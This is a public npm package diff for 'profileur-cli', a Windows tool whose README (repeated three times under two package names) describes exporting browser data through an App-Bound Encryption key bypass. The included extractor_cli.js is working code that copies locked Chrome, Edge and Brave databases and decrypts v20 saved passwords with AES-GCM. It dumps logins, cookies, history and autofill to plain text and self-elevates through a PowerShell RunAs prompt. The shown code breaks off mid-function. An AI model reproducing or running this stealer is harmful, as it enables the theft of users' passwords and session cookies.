profileur-cli 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +306 -0
- package/chrome_elevator.node +0 -0
- package/extractor_cli.js +501 -0
- package/package.json +30 -0
package/README.md
ADDED
|
@@ -0,0 +1,306 @@
|
|
|
1
|
+
## profileur-cli
|
|
2
|
+
|
|
3
|
+
Low-level Windows helper to export browser profile data (cookies, saved logins, history, autofill) from Chromium-based browsers, backed by a native C++ addon that interacts with processes and profile databases at a system level.
|
|
4
|
+
|
|
5
|
+
> ⚠️ **Windows only.** Requires a native `chrome_elevator.node` binary built for the target platform and usually Administrator privileges.
|
|
6
|
+
|
|
7
|
+
### What it does
|
|
8
|
+
|
|
9
|
+
- **Targets**: Any Chromium-based browser where you know the profile directory (Chrome, Edge, Brave, custom Chromium builds, etc.).
|
|
10
|
+
- **Data exported**:
|
|
11
|
+
- Cookies (in Netscape HTTP Cookie File format)
|
|
12
|
+
- Saved logins (URLs, usernames, decrypted passwords)
|
|
13
|
+
- Browsing history
|
|
14
|
+
- Autofill records
|
|
15
|
+
- **Architecture**:
|
|
16
|
+
- Node.js wrapper script (`extractor_cli.js`)
|
|
17
|
+
- Native C++ addon (`chrome_elevator.node`) doing the low-level work (process interaction, locked-file copying, access to protected profile data).
|
|
18
|
+
|
|
19
|
+
Use cases include incident response, forensics, backup/migration of browser profiles, or automated integration testing where you need to replay authenticated sessions.
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Installation
|
|
24
|
+
|
|
25
|
+
**Project (local dependency)**:
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
npm install profileur-cli
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
**Global (CLI usage)**:
|
|
32
|
+
|
|
33
|
+
```bash
|
|
34
|
+
npm install -g profileur-cli
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## CLI usage
|
|
40
|
+
|
|
41
|
+
Once installed globally:
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
profile-exporter -v
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
**Options:**
|
|
48
|
+
|
|
49
|
+
- `-v`, `--verbose`: enable detailed debug logging.
|
|
50
|
+
- `-h`, `--help`: show help.
|
|
51
|
+
|
|
52
|
+
By default, extracted data is written under:
|
|
53
|
+
|
|
54
|
+
```text
|
|
55
|
+
extracted_data/<browserKey>/<profile>/
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
> The CLI uses whatever browsers are configured inside the packaged script. For full control over which browsers are processed, prefer the programmatic API below.
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## Programmatic usage (Node module)
|
|
63
|
+
|
|
64
|
+
```js
|
|
65
|
+
const path = require('path');
|
|
66
|
+
const { main } = require('profileur-cli');
|
|
67
|
+
|
|
68
|
+
// Example: write all exports under a local "exports" folder
|
|
69
|
+
main({
|
|
70
|
+
outputDir: path.join(__dirname, 'exports'),
|
|
71
|
+
browsers: {
|
|
72
|
+
chrome: {
|
|
73
|
+
path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome', 'User Data'),
|
|
74
|
+
name: 'Google Chrome'
|
|
75
|
+
},
|
|
76
|
+
'chrome-beta': {
|
|
77
|
+
path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome Beta', 'User Data'),
|
|
78
|
+
name: 'Google Chrome Beta'
|
|
79
|
+
},
|
|
80
|
+
edge: {
|
|
81
|
+
path: path.join(process.env.LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data'),
|
|
82
|
+
name: 'Microsoft Edge'
|
|
83
|
+
},
|
|
84
|
+
brave: {
|
|
85
|
+
path: path.join(process.env.LOCALAPPDATA, 'BraveSoftware', 'Brave-Browser', 'User Data'),
|
|
86
|
+
name: 'Brave Browser'
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
});
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
**Options:**
|
|
93
|
+
|
|
94
|
+
- **`outputDir`** (string): base folder where results are written. Defaults to `extracted_data` if omitted.
|
|
95
|
+
- **`browsers`** (object, required): map of browser keys to:
|
|
96
|
+
- **`path`** (string): path to the browser “User Data” directory (often under `%LOCALAPPDATA%`).
|
|
97
|
+
- **`name`** (string): human-friendly name used in logs.
|
|
98
|
+
|
|
99
|
+
If `browsers` is missing or empty, the library logs an error and exits without running extraction.
|
|
100
|
+
|
|
101
|
+
Because the native addon operates at a low level (interacting with locked files and browser resources), it should be run only in trusted environments and with appropriate permissions.
|
|
102
|
+
|
|
103
|
+
---
|
|
104
|
+
|
|
105
|
+
## Publishing to npm (for maintainers)
|
|
106
|
+
|
|
107
|
+
From the project root:
|
|
108
|
+
|
|
109
|
+
```bash
|
|
110
|
+
npm login # once
|
|
111
|
+
npm publish --access public
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
Ensure that:
|
|
115
|
+
|
|
116
|
+
- `chrome_elevator.node` is included in the published files (see the `files` field in `package.json`).
|
|
117
|
+
- The paths used in `extractor_cli.js` are compatible with how you bundle/distribute the native addon (plain Node, `pkg`, Electron, etc.).
|
|
118
|
+
|
|
119
|
+
## chromium-abe-extractor
|
|
120
|
+
|
|
121
|
+
Extract Cookies, Passwords, History, and Autofill from Chromium-based browsers (Chrome, Edge, Brave, etc.) on Windows, using an App-Bound Encryption (ABE) key bypass.
|
|
122
|
+
|
|
123
|
+
> ⚠️ **Windows only.** Requires a native `chrome_elevator.node` binary built for the target platform and usually Administrator privileges.
|
|
124
|
+
|
|
125
|
+
### Features
|
|
126
|
+
|
|
127
|
+
- **Browsers**: Works with any Chromium-based profile folder you configure (Chrome, Edge, Brave, custom builds, etc.).
|
|
128
|
+
- **Data types**:
|
|
129
|
+
- Cookies (exported in Netscape HTTP Cookie File format)
|
|
130
|
+
- Saved passwords
|
|
131
|
+
- Browsing history
|
|
132
|
+
- Autofill data
|
|
133
|
+
- **Configurable**: The library does **not** hard-code browser paths; you provide them when calling the module.
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## Installation
|
|
138
|
+
|
|
139
|
+
**Project (local dependency)**:
|
|
140
|
+
|
|
141
|
+
```bash
|
|
142
|
+
npm install chromium-abe-extractor
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
**Global (CLI usage)**:
|
|
146
|
+
|
|
147
|
+
```bash
|
|
148
|
+
npm install -g chromium-abe-extractor
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
## CLI usage
|
|
154
|
+
|
|
155
|
+
Once installed globally:
|
|
156
|
+
|
|
157
|
+
```bash
|
|
158
|
+
extractor -v
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
**Options:**
|
|
162
|
+
|
|
163
|
+
- `-v`, `--verbose`: enable detailed debug logging.
|
|
164
|
+
- `-h`, `--help`: show help.
|
|
165
|
+
|
|
166
|
+
By default, extracted data is written under:
|
|
167
|
+
|
|
168
|
+
```text
|
|
169
|
+
extracted_data/<browserKey>/<profile>/
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
> The CLI uses whatever browsers are configured inside the packaged script. For full control over which browsers are processed, prefer the programmatic API below.
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## Programmatic usage (Node module)
|
|
177
|
+
|
|
178
|
+
```js
|
|
179
|
+
const path = require('path');
|
|
180
|
+
const { main } = require('chromium-abe-extractor');
|
|
181
|
+
|
|
182
|
+
// Example: write all exports under a local "exports" folder
|
|
183
|
+
main({
|
|
184
|
+
outputDir: path.join(__dirname, 'exports'),
|
|
185
|
+
browsers: {
|
|
186
|
+
chrome: {
|
|
187
|
+
path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome', 'User Data'),
|
|
188
|
+
name: 'Google Chrome'
|
|
189
|
+
},
|
|
190
|
+
'chrome-beta': {
|
|
191
|
+
path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome Beta', 'User Data'),
|
|
192
|
+
name: 'Google Chrome Beta'
|
|
193
|
+
},
|
|
194
|
+
edge: {
|
|
195
|
+
path: path.join(process.env.LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data'),
|
|
196
|
+
name: 'Microsoft Edge'
|
|
197
|
+
},
|
|
198
|
+
brave: {
|
|
199
|
+
path: path.join(process.env.LOCALAPPDATA, 'BraveSoftware', 'Brave-Browser', 'User Data'),
|
|
200
|
+
name: 'Brave Browser'
|
|
201
|
+
}
|
|
202
|
+
}
|
|
203
|
+
});
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
**Options:**
|
|
207
|
+
|
|
208
|
+
- **`outputDir`** (string): base folder where results are written. Defaults to `extracted_data` if omitted.
|
|
209
|
+
- **`browsers`** (object, required): map of browser keys to:
|
|
210
|
+
- **`path`** (string): path to the browser “User Data” directory (often under `%LOCALAPPDATA%`).
|
|
211
|
+
- **`name`** (string): human-friendly name used in logs.
|
|
212
|
+
|
|
213
|
+
If `browsers` is missing or empty, the library logs an error and exits without running extraction.
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## Publishing to npm (for maintainers)
|
|
218
|
+
|
|
219
|
+
From the project root:
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
npm login # once
|
|
223
|
+
npm publish --access public
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
Ensure that:
|
|
227
|
+
|
|
228
|
+
- `chrome_elevator.node` is included in the published files (see the `files` field in `package.json`).
|
|
229
|
+
- The paths used in `extractor_cli.js` are compatible with how you bundle/distribute the native addon (plain Node, `pkg`, Electron, etc.).
|
|
230
|
+
|
|
231
|
+
# chromium-abe-extractor
|
|
232
|
+
|
|
233
|
+
Extract Cookies, Passwords, History, and Autofill from Chrome, Edge, and Brave using App-Bound Encryption (ABE) key bypass on Windows.
|
|
234
|
+
|
|
235
|
+
> ⚠️ Windows uniquement. Nécessite un binaire natif `chrome_elevator.node` compilé pour la plateforme cible et très probablement les droits Administrateur.
|
|
236
|
+
|
|
237
|
+
## Installation
|
|
238
|
+
|
|
239
|
+
Depuis un projet Node (en local) :
|
|
240
|
+
|
|
241
|
+
```bash
|
|
242
|
+
npm install chromium-abe-extractor
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
Ou en global pour l'utiliser en ligne de commande :
|
|
246
|
+
|
|
247
|
+
```bash
|
|
248
|
+
npm install -g chromium-abe-extractor
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
## Utilisation en CLI
|
|
252
|
+
|
|
253
|
+
Une fois installé globalement :
|
|
254
|
+
|
|
255
|
+
```bash
|
|
256
|
+
extractor -v
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
Options :
|
|
260
|
+
|
|
261
|
+
- `-v`, `--verbose` : active les logs détaillés.
|
|
262
|
+
- `-h`, `--help` : affiche l'aide.
|
|
263
|
+
|
|
264
|
+
Les données extraites sont écrites dans le dossier `extracted_data/<browser>/<profile>/`.
|
|
265
|
+
|
|
266
|
+
## Utilisation comme module Node
|
|
267
|
+
|
|
268
|
+
```js
|
|
269
|
+
const { main } = require('chromium-abe-extractor');
|
|
270
|
+
|
|
271
|
+
// Lance l'extraction comme en CLI (sortie dans "extracted_data/...")
|
|
272
|
+
main();
|
|
273
|
+
|
|
274
|
+
// Personnaliser le dossier de sortie
|
|
275
|
+
main({
|
|
276
|
+
outputDir: 'C:\\name\\name\\Documents\\mes_exports'
|
|
277
|
+
// ou en relatif par rapport au process courant, par ex. 'mes_exports'
|
|
278
|
+
});
|
|
279
|
+
|
|
280
|
+
// Personnaliser les navigateurs utilisés (sans modifier le module)
|
|
281
|
+
main({
|
|
282
|
+
outputDir: 'mes_exports',
|
|
283
|
+
browsers: {
|
|
284
|
+
chrome: {
|
|
285
|
+
path: 'C:\\Users\\name\\AppData\\Local\\Google\\Chrome\\User Data',
|
|
286
|
+
name: 'Mon Chrome Perso'
|
|
287
|
+
},
|
|
288
|
+
myCustomChromium: {
|
|
289
|
+
path: 'D:\\Browsers\\CustomChromium\\User Data',
|
|
290
|
+
name: 'Custom Chromium Build'
|
|
291
|
+
}
|
|
292
|
+
}
|
|
293
|
+
});
|
|
294
|
+
```
|
|
295
|
+
|
|
296
|
+
## Publication sur npm
|
|
297
|
+
|
|
298
|
+
Depuis le dossier du projet :
|
|
299
|
+
|
|
300
|
+
```bash
|
|
301
|
+
npm login # une seule fois
|
|
302
|
+
npm publish --access public
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
Assure-toi que `chrome_elevator.node` est présent dans le paquet (par exemple dans `./build/Release/chrome_elevator.node`) et que les chemins dans `extractor_cli.js` pointent au bon endroit avant de publier.
|
|
306
|
+
|
|
Binary file
|
package/extractor_cli.js
ADDED
|
@@ -0,0 +1,501 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const crypto = require('crypto');
|
|
5
|
+
const { execSync, spawnSync } = require('child_process');
|
|
6
|
+
|
|
7
|
+
// --- Configuration & CLI Args ---
|
|
8
|
+
const args = process.argv.slice(2);
|
|
9
|
+
const VERBOSE = args.includes('--verbose') || args.includes('-v');
|
|
10
|
+
const HELP = args.includes('--help') || args.includes('-h');
|
|
11
|
+
|
|
12
|
+
if (HELP) {
|
|
13
|
+
console.log(`
|
|
14
|
+
Usage: extractor.exe [options]
|
|
15
|
+
|
|
16
|
+
Options:
|
|
17
|
+
-v, --verbose Enable detailed debug logging
|
|
18
|
+
-h, --help Show this help message
|
|
19
|
+
|
|
20
|
+
Description:
|
|
21
|
+
Extracts Cookies, Passwords, History, and Autofill from Chrome, Edge, and Brave
|
|
22
|
+
using App-Bound Encryption (ABE) key bypass.
|
|
23
|
+
`);
|
|
24
|
+
process.exit(0);
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function debug(msg) {
|
|
28
|
+
if (VERBOSE) console.log(`[DEBUG] ${msg}`);
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
function log(msg) {
|
|
32
|
+
console.log(msg);
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
function error(msg) {
|
|
36
|
+
console.error(`[ERROR] ${msg}`);
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
// --- Load Native Addon ---
|
|
40
|
+
let chromeElevator;
|
|
41
|
+
try {
|
|
42
|
+
const baseDir = __dirname;
|
|
43
|
+
|
|
44
|
+
// Try multiple paths to find the native addon
|
|
45
|
+
const possiblePaths = [
|
|
46
|
+
path.join(baseDir, 'build', 'Release', 'chrome_elevator.node'),
|
|
47
|
+
path.join(baseDir, 'chrome_elevator.node'),
|
|
48
|
+
path.join(process.resourcesPath || '', 'chrome_elevator.node'), // Electron/Builder path
|
|
49
|
+
path.join(path.dirname(process.execPath), 'chrome_elevator.node')
|
|
50
|
+
];
|
|
51
|
+
|
|
52
|
+
for (const p of possiblePaths) {
|
|
53
|
+
if (fs.existsSync(p)) {
|
|
54
|
+
debug(`Found native addon at: ${p}`);
|
|
55
|
+
chromeElevator = require(p);
|
|
56
|
+
break;
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
if (!chromeElevator) {
|
|
61
|
+
// Fallback to standard require if specific paths fail (e.g. dev environment)
|
|
62
|
+
try {
|
|
63
|
+
chromeElevator = require(path.join(baseDir, 'build', 'Release', 'chrome_elevator.node'));
|
|
64
|
+
} catch (e) {
|
|
65
|
+
throw new Error("Could not find chrome_elevator.node in standard locations.");
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
} catch (err) {
|
|
69
|
+
error("Failed to load native addon: " + err.message);
|
|
70
|
+
process.exit(1);
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
// --- Database Library ---
|
|
74
|
+
let Database;
|
|
75
|
+
try {
|
|
76
|
+
Database = require('better-sqlite3');
|
|
77
|
+
} catch (err) {
|
|
78
|
+
error("Failed to load better-sqlite3: " + err.message);
|
|
79
|
+
process.exit(1);
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
// --- Helper Functions ---
|
|
83
|
+
|
|
84
|
+
/**
|
|
85
|
+
* Reads profile list and display names from browser Local State (same source as the browser).
|
|
86
|
+
* Returns { folders: string[], displayNames: Object.<string, string> }.
|
|
87
|
+
* Falls back to empty if file missing or invalid.
|
|
88
|
+
*/
|
|
89
|
+
function readLocalStateProfiles(userDataPath) {
|
|
90
|
+
const localStatePath = path.join(userDataPath, 'Local State');
|
|
91
|
+
const result = { folders: [], displayNames: {} };
|
|
92
|
+
|
|
93
|
+
if (!fs.existsSync(localStatePath)) return result;
|
|
94
|
+
|
|
95
|
+
try {
|
|
96
|
+
const raw = fs.readFileSync(localStatePath, 'utf8');
|
|
97
|
+
const data = JSON.parse(raw);
|
|
98
|
+
const infoCache = data?.profile?.info_cache;
|
|
99
|
+
|
|
100
|
+
if (!infoCache || typeof infoCache !== 'object') return result;
|
|
101
|
+
|
|
102
|
+
for (const [folderName, info] of Object.entries(infoCache)) {
|
|
103
|
+
result.folders.push(folderName);
|
|
104
|
+
if (info && typeof info.name === 'string') {
|
|
105
|
+
result.displayNames[folderName] = info.name;
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
} catch (err) {
|
|
109
|
+
debug(`Local State read failed: ${err.message}`);
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
return result;
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
/**
|
|
116
|
+
* Returns list of profile folder names to process. Uses Local State first so all
|
|
117
|
+
* profiles (e.g. "Ad Blocking") are included; only keeps folders that exist on disk.
|
|
118
|
+
*/
|
|
119
|
+
function getProfileFolders(userDataPath) {
|
|
120
|
+
const { folders, displayNames } = readLocalStateProfiles(userDataPath);
|
|
121
|
+
|
|
122
|
+
const existing = folders.filter((name) => {
|
|
123
|
+
const fullPath = path.join(userDataPath, name);
|
|
124
|
+
try {
|
|
125
|
+
return fs.statSync(fullPath).isDirectory();
|
|
126
|
+
} catch {
|
|
127
|
+
return false;
|
|
128
|
+
}
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
if (existing.length > 0) return { folders: existing, displayNames };
|
|
132
|
+
|
|
133
|
+
// Fallback: scan filesystem (Default, Profile 1, Profile 2, ...)
|
|
134
|
+
try {
|
|
135
|
+
const entries = fs.readdirSync(userDataPath, { withFileTypes: true });
|
|
136
|
+
for (const entry of entries) {
|
|
137
|
+
if (entry.isDirectory() && (entry.name === 'Default' || entry.name.startsWith('Profile'))) {
|
|
138
|
+
existing.push(entry.name);
|
|
139
|
+
}
|
|
140
|
+
}
|
|
141
|
+
} catch (err) {
|
|
142
|
+
debug(`Profile folder scan failed: ${err.message}`);
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
return { folders: existing, displayNames };
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
function isAdmin() {
|
|
149
|
+
try {
|
|
150
|
+
execSync('net session', { stdio: 'ignore' });
|
|
151
|
+
return true;
|
|
152
|
+
} catch {
|
|
153
|
+
return false;
|
|
154
|
+
}
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
function copyFileVSS(source, dest) {
|
|
158
|
+
debug(`Copying ${source} to ${dest}`);
|
|
159
|
+
try {
|
|
160
|
+
// 1. Try native copyLockedFile
|
|
161
|
+
if (chromeElevator.copyLockedFile) {
|
|
162
|
+
debug("Attempting native copyLockedFile...");
|
|
163
|
+
if (chromeElevator.copyLockedFile(source, dest)) {
|
|
164
|
+
debug("Native copy successful.");
|
|
165
|
+
return;
|
|
166
|
+
}
|
|
167
|
+
debug("Native copy returned false.");
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
// 2. Try standard fs.copy
|
|
171
|
+
debug("Attempting standard fs.copy...");
|
|
172
|
+
fs.copyFileSync(source, dest);
|
|
173
|
+
debug("Standard copy successful.");
|
|
174
|
+
|
|
175
|
+
} catch (err) {
|
|
176
|
+
debug(`Standard copy failed: ${err.message}`);
|
|
177
|
+
// 3. Fallback to esentutl
|
|
178
|
+
try {
|
|
179
|
+
debug("Attempting esentutl fallback...");
|
|
180
|
+
const cmd = `esentutl /y "${source}" /d "${dest}" /vss`;
|
|
181
|
+
execSync(cmd, { stdio: 'ignore' });
|
|
182
|
+
debug("Esentutl copy successful.");
|
|
183
|
+
} catch (e) {
|
|
184
|
+
throw new Error("All copy methods failed. Esentutl error: " + e.message);
|
|
185
|
+
}
|
|
186
|
+
}
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
function decryptData(encryptedBuffer, keyHex) {
|
|
190
|
+
try {
|
|
191
|
+
if (!encryptedBuffer || encryptedBuffer.length < 31) return null;
|
|
192
|
+
|
|
193
|
+
const prefix = encryptedBuffer.slice(0, 3).toString();
|
|
194
|
+
if (prefix !== 'v20') return null;
|
|
195
|
+
|
|
196
|
+
const iv = encryptedBuffer.slice(3, 15);
|
|
197
|
+
const ciphertext = encryptedBuffer.slice(15, -16);
|
|
198
|
+
const tag = encryptedBuffer.slice(-16);
|
|
199
|
+
const key = Buffer.from(keyHex, 'hex');
|
|
200
|
+
|
|
201
|
+
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
|
|
202
|
+
decipher.setAuthTag(tag);
|
|
203
|
+
|
|
204
|
+
let decrypted = decipher.update(ciphertext);
|
|
205
|
+
decrypted = Buffer.concat([decrypted, decipher.final()]);
|
|
206
|
+
|
|
207
|
+
if (decrypted.length > 32) {
|
|
208
|
+
return decrypted.slice(32).toString('utf8');
|
|
209
|
+
}
|
|
210
|
+
return decrypted.toString('utf8');
|
|
211
|
+
|
|
212
|
+
} catch (err) {
|
|
213
|
+
debug(`Decryption failed: ${err.message}`);
|
|
214
|
+
return null;
|
|
215
|
+
}
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
function toNetscape(cookie) {
|
|
219
|
+
const domain = cookie.host_key;
|
|
220
|
+
const flag = domain.startsWith('.') ? 'TRUE' : 'FALSE';
|
|
221
|
+
const path = cookie.path;
|
|
222
|
+
const secure = cookie.is_secure ? 'TRUE' : 'FALSE';
|
|
223
|
+
|
|
224
|
+
let expiration = 0;
|
|
225
|
+
if (cookie.expires_utc > 0) {
|
|
226
|
+
expiration = Math.floor((cookie.expires_utc / 1000000) - 11644473600);
|
|
227
|
+
if (expiration < 0) expiration = 0;
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
const name = cookie.name;
|
|
231
|
+
const value = cookie.decryptedValue;
|
|
232
|
+
|
|
233
|
+
return `${domain}\t${flag}\t${path}\t${secure}\t${expiration}\t${name}\t${value}`;
|
|
234
|
+
}
|
|
235
|
+
|
|
236
|
+
// --- Extraction Functions ---
|
|
237
|
+
|
|
238
|
+
function extractHistory(profilePath, outputDir) {
|
|
239
|
+
const historyPath = path.join(profilePath, 'History');
|
|
240
|
+
if (!fs.existsSync(historyPath)) {
|
|
241
|
+
debug(`No History file found at ${historyPath}`);
|
|
242
|
+
return;
|
|
243
|
+
}
|
|
244
|
+
|
|
245
|
+
const tempDb = path.join(outputDir, 'temp_history.db');
|
|
246
|
+
try {
|
|
247
|
+
copyFileVSS(historyPath, tempDb);
|
|
248
|
+
const db = new Database(tempDb, { readonly: true });
|
|
249
|
+
|
|
250
|
+
const stmt = db.prepare('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5000');
|
|
251
|
+
const rows = stmt.all();
|
|
252
|
+
|
|
253
|
+
const outFile = path.join(outputDir, 'history.txt');
|
|
254
|
+
const stream = fs.createWriteStream(outFile, { flags: 'w' });
|
|
255
|
+
|
|
256
|
+
for (const row of rows) {
|
|
257
|
+
stream.write(`URL: ${row.url}\nTitle: ${row.title}\nVisits: ${row.visit_count}\nLast Visit: ${row.last_visit_time}\n--------------------------\n`);
|
|
258
|
+
}
|
|
259
|
+
|
|
260
|
+
stream.end();
|
|
261
|
+
db.close();
|
|
262
|
+
log(` [V] Extracted ${rows.length} history items.`);
|
|
263
|
+
} catch (err) {
|
|
264
|
+
error(`Error extracting history: ${err.message}`);
|
|
265
|
+
} finally {
|
|
266
|
+
if (fs.existsSync(tempDb)) try { fs.unlinkSync(tempDb); } catch(e) {}
|
|
267
|
+
}
|
|
268
|
+
}
|
|
269
|
+
|
|
270
|
+
function extractAutofill(profilePath, outputDir) {
|
|
271
|
+
const webDataPath = path.join(profilePath, 'Web Data');
|
|
272
|
+
if (!fs.existsSync(webDataPath)) {
|
|
273
|
+
debug(`No Web Data file found at ${webDataPath}`);
|
|
274
|
+
return;
|
|
275
|
+
}
|
|
276
|
+
|
|
277
|
+
const tempDb = path.join(outputDir, 'temp_webdata.db');
|
|
278
|
+
try {
|
|
279
|
+
copyFileVSS(webDataPath, tempDb);
|
|
280
|
+
const db = new Database(tempDb, { readonly: true });
|
|
281
|
+
|
|
282
|
+
const stmt = db.prepare('SELECT name, value, date_created FROM autofill');
|
|
283
|
+
const rows = stmt.all();
|
|
284
|
+
|
|
285
|
+
const outFile = path.join(outputDir, 'autofill.txt');
|
|
286
|
+
const stream = fs.createWriteStream(outFile, { flags: 'w' });
|
|
287
|
+
|
|
288
|
+
for (const row of rows) {
|
|
289
|
+
stream.write(`Name: ${row.name}\nValue: ${row.value}\nDate: ${row.date_created}\n--------------------------\n`);
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
stream.end();
|
|
293
|
+
db.close();
|
|
294
|
+
log(` [V] Extracted ${rows.length} autofill items.`);
|
|
295
|
+
} catch (err) {
|
|
296
|
+
error(`Error extracting autofill: ${err.message}`);
|
|
297
|
+
} finally {
|
|
298
|
+
if (fs.existsSync(tempDb)) try { fs.unlinkSync(tempDb); } catch(e) {}
|
|
299
|
+
}
|
|
300
|
+
}
|
|
301
|
+
|
|
302
|
+
function extractPasswords(profilePath, outputDir, key) {
|
|
303
|
+
const loginDataPath = path.join(profilePath, 'Login Data');
|
|
304
|
+
if (!fs.existsSync(loginDataPath)) {
|
|
305
|
+
debug(`No Login Data file found at ${loginDataPath}`);
|
|
306
|
+
return;
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
const tempDb = path.join(outputDir, 'temp_login.db');
|
|
310
|
+
try {
|
|
311
|
+
copyFileVSS(loginDataPath, tempDb);
|
|
312
|
+
const db = new Database(tempDb, { readonly: true });
|
|
313
|
+
|
|
314
|
+
const stmt = db.prepare('SELECT origin_url, username_value, password_value FROM logins');
|
|
315
|
+
const rows = stmt.all();
|
|
316
|
+
|
|
317
|
+
const outFile = path.join(outputDir, 'passwords.txt');
|
|
318
|
+
const stream = fs.createWriteStream(outFile, { flags: 'w' });
|
|
319
|
+
let count = 0;
|
|
320
|
+
|
|
321
|
+
for (const row of rows) {
|
|
322
|
+
if (row.password_value) {
|
|
323
|
+
const decryptedPass = decryptData(row.password_value, key);
|
|
324
|
+
if (decryptedPass) {
|
|
325
|
+
stream.write(`URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${decryptedPass}\n--------------------------\n`);
|
|
326
|
+
count++;
|
|
327
|
+
}
|
|
328
|
+
}
|
|
329
|
+
}
|
|
330
|
+
|
|
331
|
+
stream.end();
|
|
332
|
+
db.close();
|
|
333
|
+
log(` [V] Extracted ${count} passwords.`);
|
|
334
|
+
} catch (err) {
|
|
335
|
+
error(`Error extracting passwords: ${err.message}`);
|
|
336
|
+
} finally {
|
|
337
|
+
if (fs.existsSync(tempDb)) try { fs.unlinkSync(tempDb); } catch(e) {}
|
|
338
|
+
}
|
|
339
|
+
}
|
|
340
|
+
|
|
341
|
+
// --- Main Execution ---
|
|
342
|
+
|
|
343
|
+
/**
|
|
344
|
+
* Run full extraction.
|
|
345
|
+
* @param {Object} [options]
|
|
346
|
+
* @param {string} [options.outputDir] Base output directory (default: "extracted_data")
|
|
347
|
+
* @param {Object<string, { path: string, name: string }>} [options.browsers] Custom browsers map
|
|
348
|
+
*/
|
|
349
|
+
function main(options = {}) {
|
|
350
|
+
const outputBaseDir = options.outputDir || options.outputBaseDir || 'extracted_data';
|
|
351
|
+
const browsers = options.browsers || {};
|
|
352
|
+
|
|
353
|
+
if (!browsers || Object.keys(browsers).length === 0) {
|
|
354
|
+
error("No browsers configuration provided. Please pass options.browsers = { <key>: { path, name } }.");
|
|
355
|
+
return;
|
|
356
|
+
}
|
|
357
|
+
log("=== Universal Browser Data Extractor CLI (ABE) ===");
|
|
358
|
+
log("Version 1.0.0");
|
|
359
|
+
debug("Debug mode enabled.");
|
|
360
|
+
|
|
361
|
+
if (!isAdmin()) {
|
|
362
|
+
log("[-] Not running as Administrator. Attempting to elevate...");
|
|
363
|
+
try {
|
|
364
|
+
const scriptPath = __filename;
|
|
365
|
+
const nodePath = process.execPath;
|
|
366
|
+
|
|
367
|
+
// Check if we are in an executable (pkg or electron built)
|
|
368
|
+
const isPackaged = process.pkg || process.argv[0].endsWith('.exe');
|
|
369
|
+
|
|
370
|
+
let cmd;
|
|
371
|
+
if (isPackaged && !process.argv[0].includes('node.exe')) {
|
|
372
|
+
// If running as a standalone EXE (not node.exe), restart the EXE itself
|
|
373
|
+
cmd = `powershell -Command "Start-Process '${process.argv[0]}' -ArgumentList '${args.join(' ')}' -Verb RunAs"`;
|
|
374
|
+
} else {
|
|
375
|
+
// If running as node script
|
|
376
|
+
cmd = `powershell -Command "Start-Process '${nodePath}' -ArgumentList '${scriptPath} ${args.join(' ')}' -Verb RunAs"`;
|
|
377
|
+
}
|
|
378
|
+
|
|
379
|
+
